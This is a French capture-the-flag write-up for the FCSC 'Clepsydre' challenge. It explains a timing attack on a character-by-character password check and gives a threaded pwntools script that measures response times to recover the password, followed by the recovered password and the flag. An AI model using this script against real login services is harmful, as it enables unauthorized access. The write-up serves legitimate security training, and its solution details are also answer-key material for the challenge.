Misc / Clepsydre

by bak, dans le cadre du France CyberSecurity Challenge.

Problème

Énoncé

> À l'origine, la clepsydre est un instrument à eau qui permet de définir la durée d'un évènement, la durée d'un discours par exemple. On contraint la durée de l'évènement au temps de vidage d'une cuve contenant de l'eau qui s'écoule par un petit orifice. Dans l'exemple du discours, l'orateur doit s'arrêter quand le récipient est vide. La durée visualisée par ce moyen est indépendante d'un débit régulier du liquide ; le récipient peut avoir n'importe quelle forme. L'instrument n'est donc pas une horloge hydraulique (Wikipedia).
>
> Service : nc challenges2.france-cybersecurity-challenge.fr 6006

L'énoncé suggère très fortement que le challenge aura un rapport avec le temps.

Vulnérabilité

En se connectant au service distant spécifié par l'énoncé, un mot de passe est demandé :

```
$ nc challenges2.france-cybersecurity-challenge.fr 6006
[Citation du jour] : "Tout vient à point à qui sait attendre".

Entrez votre mot de passe :
```

En faisant le lien avec l'indice de l'énoncé, on pense tout de suite à une vulnérabilité de type *timing attack* sur la fonction de vérification du mot de passe.

En effet, si les charactères du mot de passe sont vérfifiés un à un, il est possible de les deviner en fonction du temps que met la fonction à s'exécuter.

Par exemple, considérons la fonction suivante, responsable de la vérification du mot de passe :

```
def check_password(password, user_input):
    for c1, c2 in zip(password, user_input):
        if c1 != c2:
            return False
    return True
```

Si un attaquant envoie un mot de passe totalement faux, la fonction s'exécutera en 1ms (valeur arbitraire). En revanche, si le mot de passe saisi par l'utilisateur commence par la même lettre que le mot de passe attendu, la fonction s'exécutera en 2ms.

De ce fait, on est capable de reconstruire le mot de passe en se basant sur les temps de réponse du serveur.

Résolution

Afin d'accélerer le processus de résolution, un script python, utilisant le concept de *threading* a été écrit :

```
from pwn import *
import time
from multiprocessing.dummy import Pool as ThreadPool
import string

alphabet = string.printable

def main():
 # lance 1 thread par charactère dans l'alphabet
 pool = ThreadPool(len(alphabet))
 results = pool.map(tryPassword, alphabet)
 pool.close()
 pool.join()

 # affiche les résultats
 for r in results:
  print("%f\t%s" % (r[1], r[0]))


def tryPassword(c):
 server = remote("challenges2.france-cybersecurity-challenge.fr", 6006)
 server.recvuntil("passe : ") # "passe :"

 # charactères déjà trouvés
 prefix = ""
 # début de la mesure
 start = time.time()

 server.sendline(prefix + c + 31 * 'A')
 server.recvline()

 # fin de la mesure
 end = time.time()
 # report results
 return (c, end-start)


if __name__ == '__main__':
 main()
```

À la première exécution, on observe le résultat suivant :

```
$ python script.py
[...]
```

```
0.041078    A
0.041360    B
0.041985    C
0.042105    D
0.041870    E
0.041687    F
0.041790    G
0.042470    H
0.041672    I
0.041708    J
0.042398    K
0.041682    L
0.042031    M
0.041528    N
0.041862    O
0.041906    P
0.042034    Q
0.042261    R
0.041352    S
1.042280    T       # ICI
0.042042    U
0.042454    V
0.042230    W
0.042168    X
0.041480    Y
0.041172    Z
0.041559    !
[...]
```

On peut constater que, lorsque la lettre 'T' est envoyée, le serveur met plus de temps à répondre. On en déduit que 'T' est la première lettre du mot de passe.

La lettre peut être ajoutée à la variable `prefix` du script, et celui-ci relancé :

```
prefix = "T"
```

```
$ python script.py
[...]
1.041911    0
1.042166    1
1.041850    2
2.042381    3       # ICI
1.042084    4
1.042538    5
1.042882    6
1.042389    7
1.042684    8
1.042589    9
1.041585    a
```

```
1.042321    b
1.042403    c
1.041940    d
1.041991    e
1.041960    f
1.042551    g
[...]
```

De la même manière, on trouve ensuite le chiffre '3'. En continuant ce procédé, on parvient à retrouver le mot de passe : `T3mp#!`.

En le soumettant au service distant, le flag est affiché :

```
$ nc challenges2.france-cybersecurity-challenge.fr 6006
[Citation du jour] : "Tout vient à point à qui sait attendre".

Entrez votre mot de passe : T3mp#!


Félicitations vous avez su vaincre votre impatience :

FCSC{6bdd5f185a5fda5ae37245d355f757eb0bbe888eea004cda16cf79b2c0d60d32}
```